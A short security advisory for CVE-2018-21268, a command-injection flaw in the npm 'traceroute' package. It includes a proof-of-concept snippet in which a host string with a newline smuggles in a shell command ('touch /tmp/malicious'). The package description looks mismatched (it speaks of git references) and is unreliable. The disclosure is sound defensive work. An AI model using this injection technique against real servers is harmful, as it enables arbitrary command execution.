CVE-2018-21268 Open this link in a new tabHow to fix?
There currently is no fixed version for traceroute. A fix is on the master branch but was not published to npm.
Overview
traceroute is an npm package used for listing references in a remote git repository.
Affected versions of this package are vulnerable to Arbitrary Command Injection due to the insecure use of exec. An attacker can add a newline %0a after the host addr, and inject malicious shell commands to disrupt server operation or obtain sensitive information.

traceroute = require('traceroute');
host = '127.0.0.1\ntouch /tmp/malicious';
traceroute.trace(host, function (err,hops) {
// the file /tmp/malicious was created
console.log(hops);
});
